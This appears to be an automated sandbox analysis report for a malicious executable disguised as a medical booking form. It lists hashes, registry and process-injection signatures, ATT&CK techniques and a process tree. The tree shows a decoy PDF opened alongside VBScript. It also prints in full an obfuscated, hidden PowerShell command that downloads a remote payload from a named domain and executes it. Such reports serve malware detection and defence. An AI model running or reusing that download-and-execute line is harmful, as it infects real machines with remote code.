b5e39716f576e5ff21e945560a98ee7ca7309491b2b7f2643728cd341b9c19de

General

Target

Ficha OMS - Reserva Medicos.exe
Size

703KB
MD5

e6e25bc559a331c79f173920071e4f8e
SHA1

ca4681b1f0f8fe4c2f8d142a85b08e56307a8f65
SHA256

b5e39716f576e5ff21e945560a98ee7ca7309491b2b7f2643728cd341b9c19de
SHA512

b3cd1b2da11bb8a7432e1451d9ff23a08145d0ace05fd7e99da11eeb6dddfd8039aed2b5e6087dc8027c0a2b7705761fe32347b4a2126c1e4c06cfb346279150

Score

5^/10

Malware Config

Signatures

Modifies Internet Explorer settings 1 TTPs 1 IoCs

adware spyware

Modify Registry

T1112

Processes:

AcroRd32.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-1231583446-2617009595-2137880041-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION	AcroRd32.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

WerFault.exe

description pid process

Token: SeRestorePrivilege 2812 WerFault.exe
Token: SeBackupPrivilege 2812 WerFault.exe
Token: SeDebugPrivilege 2812 WerFault.exe

description	pid	process
Token: SeRestorePrivilege	2812	WerFault.exe
Token: SeBackupPrivilege	2812	WerFault.exe
Token: SeDebugPrivilege	2812	WerFault.exe

Suspicious behavior: EnumeratesProcesses 32 IoCs

Processes:

WerFault.exeAcroRd32.exe

pid	process
2812	WerFault.exe
2812	WerFault.exe
2812	WerFault.exe
2812	WerFault.exe
2812	WerFault.exe
2812	WerFault.exe
2812	WerFault.exe
2812	WerFault.exe
2812	WerFault.exe
2812	WerFault.exe
2812	WerFault.exe
2812	WerFault.exe
2812	WerFault.exe
2812	WerFault.exe
1460	AcroRd32.exe
1460	AcroRd32.exe
1460	AcroRd32.exe
1460	AcroRd32.exe
1460	AcroRd32.exe
1460	AcroRd32.exe
1460	AcroRd32.exe
1460	AcroRd32.exe
1460	AcroRd32.exe
1460	AcroRd32.exe
1460	AcroRd32.exe
1460	AcroRd32.exe
1460	AcroRd32.exe
1460	AcroRd32.exe
1460	AcroRd32.exe
1460	AcroRd32.exe
1460	AcroRd32.exe
1460	AcroRd32.exe

Suspicious use of SetWindowsHookEx 5 IoCs

Processes:

AcroRd32.exe

pid process

1460 AcroRd32.exe
1460 AcroRd32.exe
1460 AcroRd32.exe
1460 AcroRd32.exe
1460 AcroRd32.exe
Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

2812 2196 WerFault.exe powershell.exe
Suspicious use of FindShellTrayWindow 1 IoCs

Processes:

AcroRd32.exe

pid process

1460 AcroRd32.exe

pid	process
1460	AcroRd32.exe
1460	AcroRd32.exe
1460	AcroRd32.exe
1460	AcroRd32.exe
1460	AcroRd32.exe

pid	pid_target	process	target process
2812	2196	WerFault.exe	powershell.exe

pid	process
1460	AcroRd32.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

AcroRd32.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	AcroRd32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	AcroRd32.exe

Modifies registry class 2 IoCs

Processes:

Ficha OMS - Reserva Medicos.exeWScript.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-1231583446-2617009595-2137880041-1000_Classes\Local Settings	Ficha OMS - Reserva Medicos.exe
Key created	\REGISTRY\USER\S-1-5-21-1231583446-2617009595-2137880041-1000_Classes\Local Settings	WScript.exe

Suspicious use of WriteProcessMemory 268 IoCs

Processes:

Ficha OMS - Reserva Medicos.exeWScript.exeWScript.execmd.exeAcroRd32.exeRdrCEF.exe

description	pid	process	target process
PID 3768 wrote to memory of 1084	3768	Ficha OMS - Reserva Medicos.exe	WScript.exe
PID 3768 wrote to memory of 1084	3768	Ficha OMS - Reserva Medicos.exe	WScript.exe
PID 3768 wrote to memory of 1084	3768	Ficha OMS - Reserva Medicos.exe	WScript.exe
PID 1084 wrote to memory of 1460	1084	WScript.exe	AcroRd32.exe
PID 1084 wrote to memory of 1460	1084	WScript.exe	AcroRd32.exe
PID 1084 wrote to memory of 1460	1084	WScript.exe	AcroRd32.exe
PID 1084 wrote to memory of 1560	1084	WScript.exe	WScript.exe
PID 1084 wrote to memory of 1560	1084	WScript.exe	WScript.exe
PID 1084 wrote to memory of 1560	1084	WScript.exe	WScript.exe
PID 1560 wrote to memory of 2032	1560	WScript.exe	cmd.exe
PID 1560 wrote to memory of 2032	1560	WScript.exe	cmd.exe
PID 1560 wrote to memory of 2032	1560	WScript.exe	cmd.exe
PID 2032 wrote to memory of 2196	2032	cmd.exe	powershell.exe
PID 2032 wrote to memory of 2196	2032	cmd.exe	powershell.exe
PID 2032 wrote to memory of 2196	2032	cmd.exe	powershell.exe
PID 1460 wrote to memory of 3192	1460	AcroRd32.exe	RdrCEF.exe
PID 1460 wrote to memory of 3192	1460	AcroRd32.exe	RdrCEF.exe
PID 1460 wrote to memory of 3192	1460	AcroRd32.exe	RdrCEF.exe
PID 3192 wrote to memory of 2100	3192	RdrCEF.exe	RdrCEF.exe
PID 3192 wrote to memory of 2100	3192	RdrCEF.exe	RdrCEF.exe
PID 3192 wrote to memory of 2100	3192	RdrCEF.exe	RdrCEF.exe
PID 3192 wrote to memory of 2100	3192	RdrCEF.exe	RdrCEF.exe
PID 3192 wrote to memory of 2100	3192	RdrCEF.exe	RdrCEF.exe
PID 3192 wrote to memory of 2100	3192	RdrCEF.exe	RdrCEF.exe
PID 3192 wrote to memory of 2100	3192	RdrCEF.exe	RdrCEF.exe
PID 3192 wrote to memory of 2100	3192	RdrCEF.exe	RdrCEF.exe
PID 3192 wrote to memory of 2100	3192	RdrCEF.exe	RdrCEF.exe
PID 3192 wrote to memory of 2100	3192	RdrCEF.exe	RdrCEF.exe
PID 3192 wrote to memory of 2100	3192	RdrCEF.exe	RdrCEF.exe
PID 3192 wrote to memory of 2100	3192	RdrCEF.exe	RdrCEF.exe
PID 3192 wrote to memory of 2100	3192	RdrCEF.exe	RdrCEF.exe
PID 3192 wrote to memory of 2100	3192	RdrCEF.exe	RdrCEF.exe
PID 3192 wrote to memory of 2100	3192	RdrCEF.exe	RdrCEF.exe
PID 3192 wrote to memory of 2100	3192	RdrCEF.exe	RdrCEF.exe
PID 3192 wrote to memory of 2100	3192	RdrCEF.exe	RdrCEF.exe
PID 3192 wrote to memory of 2100	3192	RdrCEF.exe	RdrCEF.exe
PID 3192 wrote to memory of 2100	3192	RdrCEF.exe	RdrCEF.exe
PID 3192 wrote to memory of 2100	3192	RdrCEF.exe	RdrCEF.exe
PID 3192 wrote to memory of 2100	3192	RdrCEF.exe	RdrCEF.exe
PID 3192 wrote to memory of 2100	3192	RdrCEF.exe	RdrCEF.exe
PID 3192 wrote to memory of 2100	3192	RdrCEF.exe	RdrCEF.exe
PID 3192 wrote to memory of 2100	3192	RdrCEF.exe	RdrCEF.exe
PID 3192 wrote to memory of 2100	3192	RdrCEF.exe	RdrCEF.exe
PID 3192 wrote to memory of 2100	3192	RdrCEF.exe	RdrCEF.exe
PID 3192 wrote to memory of 2100	3192	RdrCEF.exe	RdrCEF.exe
PID 3192 wrote to memory of 2100	3192	RdrCEF.exe	RdrCEF.exe
PID 3192 wrote to memory of 2100	3192	RdrCEF.exe	RdrCEF.exe
PID 3192 wrote to memory of 2100	3192	RdrCEF.exe	RdrCEF.exe
PID 3192 wrote to memory of 2100	3192	RdrCEF.exe	RdrCEF.exe
PID 3192 wrote to memory of 2100	3192	RdrCEF.exe	RdrCEF.exe
PID 3192 wrote to memory of 2100	3192	RdrCEF.exe	RdrCEF.exe
PID 3192 wrote to memory of 2100	3192	RdrCEF.exe	RdrCEF.exe
PID 3192 wrote to memory of 2100	3192	RdrCEF.exe	RdrCEF.exe
PID 3192 wrote to memory of 2100	3192	RdrCEF.exe	RdrCEF.exe
PID 3192 wrote to memory of 2100	3192	RdrCEF.exe	RdrCEF.exe
PID 3192 wrote to memory of 2100	3192	RdrCEF.exe	RdrCEF.exe
PID 3192 wrote to memory of 2100	3192	RdrCEF.exe	RdrCEF.exe
PID 3192 wrote to memory of 2100	3192	RdrCEF.exe	RdrCEF.exe
PID 3192 wrote to memory of 2100	3192	RdrCEF.exe	RdrCEF.exe
PID 3192 wrote to memory of 3740	3192	RdrCEF.exe	RdrCEF.exe
PID 3192 wrote to memory of 3740	3192	RdrCEF.exe	RdrCEF.exe
PID 3192 wrote to memory of 3740	3192	RdrCEF.exe	RdrCEF.exe
PID 3192 wrote to memory of 3740	3192	RdrCEF.exe	RdrCEF.exe
PID 3192 wrote to memory of 3740	3192	RdrCEF.exe	RdrCEF.exe

An obfuscated cmd.exe command-line is typically used to evade detection. 1 IoCs

Processes:

cmd.exe

pid process

2032 cmd.exe

pid	process
2032	cmd.exe

C:\Users\Admin\AppData\Local\Temp\Ficha OMS - Reserva Medicos.exe
"C:\Users\Admin\AppData\Local\Temp\Ficha OMS - Reserva Medicos.exe"
1⤵
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:3768

C:\Windows\SysWOW64\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\RarSFX0\run.vbs"
2⤵
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:1084

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe
"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe" "C:\Users\Admin\AppData\Local\Temp\RarSFX0\file1.pdf"
3⤵
- Modifies Internet Explorer settings
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
- Suspicious use of FindShellTrayWindow
- Checks processor information in registry
- Suspicious use of WriteProcessMemory
PID:1460

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --backgroundcolor=16514043
4⤵
- Suspicious use of WriteProcessMemory
PID:3192

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=D01D83D07108E63EFB0F0823F3041D3D --mojo-platform-channel-handle=1636 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
5⤵
PID:2100

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=renderer --disable-browser-side-navigation --disable-gpu-compositing --service-pipe-token=6B80B93D53C0A16D388FC155727C35C5 --lang=en-US --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --enable-pinch --device-scale-factor=1 --num-raster-threads=1 --enable-gpu-async-worker-context --content-image-texture-target=0,0,3553;0,1,3553;0,2,3553;0,3,3553;0,4,3553;0,5,3553;0,6,3553;0,7,3553;0,8,3553;0,9,3553;0,10,3553;0,11,3553;0,12,3553;0,13,3553;0,14,3553;0,15,3553;0,16,3553;0,17,3553;0,18,3553;1,0,3553;1,1,3553;1,2,3553;1,3,3553;1,4,3553;1,5,3553;1,6,3553;1,7,3553;1,8,3553;1,9,3553;1,10,3553;1,11,3553;1,12,3553;1,13,3553;1,14,3553;1,15,3553;1,16,3553;1,17,3553;1,18,3553;2,0,3553;2,1,3553;2,2,3553;2,3,3553;2,4,3553;2,5,3553;2,6,3553;2,7,3553;2,8,3553;2,9,3553;2,10,3553;2,11,3553;2,12,3553;2,13,3553;2,14,3553;2,15,3553;2,16,3553;2,17,3553;2,18,3553;3,0,3553;3,1,3553;3,2,3553;3,3,3553;3,4,3553;3,5,3553;3,6,3553;3,7,3553;3,8,3553;3,9,3553;3,10,3553;3,11,3553;3,12,3553;3,13,3553;3,14,3553;3,15,3553;3,16,3553;3,17,3553;3,18,3553;4,0,3553;4,1,3553;4,2,3553;4,3,3553;4,4,3553;4,5,3553;4,6,3553;4,7,3553;4,8,3553;4,9,3553;4,10,3553;4,11,3553;4,12,3553;4,13,3553;4,14,3553;4,15,3553;4,16,3553;4,17,3553;4,18,3553;5,0,3553;5,1,3553;5,2,3553;5,3,3553;5,4,3553;5,5,3553;5,6,3553;5,7,3553;5,8,3553;5,9,3553;5,10,3553;5,11,3553;5,12,3553;5,13,3553;5,14,3553;5,15,3553;5,16,3553;5,17,3553;5,18,3553;6,0,3553;6,1,3553;6,2,3553;6,3,3553;6,4,3553;6,5,3553;6,6,3553;6,7,3553;6,8,3553;6,9,3553;6,10,3553;6,11,3553;6,12,3553;6,13,3553;6,14,3553;6,15,3553;6,16,3553;6,17,3553;6,18,3553 --disable-accelerated-video-decode --service-request-channel-token=6B80B93D53C0A16D388FC155727C35C5 --renderer-client-id=2 --mojo-platform-channel-handle=1644 --allow-no-sandbox-job /prefetch:1
5⤵
PID:3740

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=renderer --disable-browser-side-navigation --disable-gpu-compositing --service-pipe-token=4EC9860BE0C6F9DBF246824D5CD71A77 --lang=en-US --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --enable-pinch --device-scale-factor=1 --num-raster-threads=1 --enable-gpu-async-worker-context --content-image-texture-target=0,0,3553;0,1,3553;0,2,3553;0,3,3553;0,4,3553;0,5,3553;0,6,3553;0,7,3553;0,8,3553;0,9,3553;0,10,3553;0,11,3553;0,12,3553;0,13,3553;0,14,3553;0,15,3553;0,16,3553;0,17,3553;0,18,3553;1,0,3553;1,1,3553;1,2,3553;1,3,3553;1,4,3553;1,5,3553;1,6,3553;1,7,3553;1,8,3553;1,9,3553;1,10,3553;1,11,3553;1,12,3553;1,13,3553;1,14,3553;1,15,3553;1,16,3553;1,17,3553;1,18,3553;2,0,3553;2,1,3553;2,2,3553;2,3,3553;2,4,3553;2,5,3553;2,6,3553;2,7,3553;2,8,3553;2,9,3553;2,10,3553;2,11,3553;2,12,3553;2,13,3553;2,14,3553;2,15,3553;2,16,3553;2,17,3553;2,18,3553;3,0,3553;3,1,3553;3,2,3553;3,3,3553;3,4,3553;3,5,3553;3,6,3553;3,7,3553;3,8,3553;3,9,3553;3,10,3553;3,11,3553;3,12,3553;3,13,3553;3,14,3553;3,15,3553;3,16,3553;3,17,3553;3,18,3553;4,0,3553;4,1,3553;4,2,3553;4,3,3553;4,4,3553;4,5,3553;4,6,3553;4,7,3553;4,8,3553;4,9,3553;4,10,3553;4,11,3553;4,12,3553;4,13,3553;4,14,3553;4,15,3553;4,16,3553;4,17,3553;4,18,3553;5,0,3553;5,1,3553;5,2,3553;5,3,3553;5,4,3553;5,5,3553;5,6,3553;5,7,3553;5,8,3553;5,9,3553;5,10,3553;5,11,3553;5,12,3553;5,13,3553;5,14,3553;5,15,3553;5,16,3553;5,17,3553;5,18,3553;6,0,3553;6,1,3553;6,2,3553;6,3,3553;6,4,3553;6,5,3553;6,6,3553;6,7,3553;6,8,3553;6,9,3553;6,10,3553;6,11,3553;6,12,3553;6,13,3553;6,14,3553;6,15,3553;6,16,3553;6,17,3553;6,18,3553 --disable-accelerated-video-decode --service-request-channel-token=4EC9860BE0C6F9DBF246824D5CD71A77 --renderer-client-id=4 --mojo-platform-channel-handle=2072 --allow-no-sandbox-job /prefetch:1
5⤵
PID:1144

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=E5A555487D172AE591C6B98853166CF0 --mojo-platform-channel-handle=2448 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
5⤵
PID:924

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=221ABDFEF7E7AB4D07BBB25296565C38 --mojo-platform-channel-handle=2564 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
5⤵
PID:1820

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=A26293E8E951D58BDF5897B888AC8F66 --mojo-platform-channel-handle=2560 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
5⤵
PID:3340

C:\Windows\SysWOW64\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\RarSFX0\file2.vbs"
3⤵
- Suspicious use of WriteProcessMemory
PID:1560

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /C PoWErShElL -ExEcUtIoNPoLiCy ByPAsS -wInDoWStYlE hIdDEn -noexit -command Invoke-Expression(New-Object Net.WebClient).(-join [char[]](68,111,119,110,108,111,97,100,83,116,114,105,110,103)).Invoke('http://reservasbestco.com.br/final.jpg');$results
4⤵
- Suspicious use of WriteProcessMemory
- An obfuscated cmd.exe command-line is typically used to evade detection.
PID:2032

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PoWErShElL -ExEcUtIoNPoLiCy ByPAsS -wInDoWStYlE hIdDEn -noexit -command Invoke-Expression(New-Object Net.WebClient).(-join [char[]](68,111,119,110,108,111,97,100,83,116,114,105,110,103)).Invoke('http://reservasbestco.com.br/final.jpg');$results
5⤵
PID:2196

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2196 -s 704
6⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
- Program crash
PID:2812

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

1

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\RarSFX0\file1.pdf

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C:\Users\Admin\AppData\Local\Temp\RarSFX0\file2.vbs

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C:\Users\Admin\AppData\Local\Temp\RarSFX0\run.vbs

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memory/924-41-0x0000000000000000-mapping.dmp

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memory/924-40-0x0000000077DE2000-0x0000000077DE200C-memory.dmp

Filesize
12B

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memory/1084-2-0x0000000000000000-mapping.dmp

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memory/1144-35-0x0000000077DE2000-0x0000000077DE200C-memory.dmp

Filesize
12B

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memory/1144-36-0x0000000000000000-mapping.dmp

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memory/1460-9-0x0000000000000000-mapping.dmp

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memory/1560-11-0x0000000000000000-mapping.dmp

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memory/1820-43-0x0000000077DE2000-0x0000000077DE200C-memory.dmp

Filesize
12B

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memory/1820-44-0x0000000000000000-mapping.dmp

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memory/2032-12-0x0000000000000000-mapping.dmp

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memory/2100-27-0x0000000077DE2000-0x0000000077DE200C-memory.dmp

Filesize
12B

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memory/2100-28-0x0000000000000000-mapping.dmp

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memory/2196-13-0x0000000000000000-mapping.dmp

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memory/2196-15-0x0000000000000000-mapping.dmp

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memory/2196-16-0x0000000000000000-mapping.dmp

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memory/2196-20-0x0000000000000000-mapping.dmp

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memory/2196-17-0x0000000000000000-mapping.dmp

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memory/2196-18-0x0000000000000000-mapping.dmp

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memory/2196-19-0x0000000000000000-mapping.dmp

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memory/2812-21-0x0000000004910000-0x0000000004911000-memory.dmp

Filesize
4KB

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memory/2812-14-0x00000000042E0000-0x00000000042E1000-memory.dmp

Filesize
4KB

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memory/3192-22-0x0000000000000000-mapping.dmp

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memory/3340-46-0x0000000077DE2000-0x0000000077DE200C-memory.dmp

Filesize
12B

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memory/3340-47-0x0000000000000000-mapping.dmp

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memory/3740-31-0x0000000000000000-mapping.dmp

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memory/3740-30-0x0000000077DE2000-0x0000000077DE200C-memory.dmp

Filesize
12B

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Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads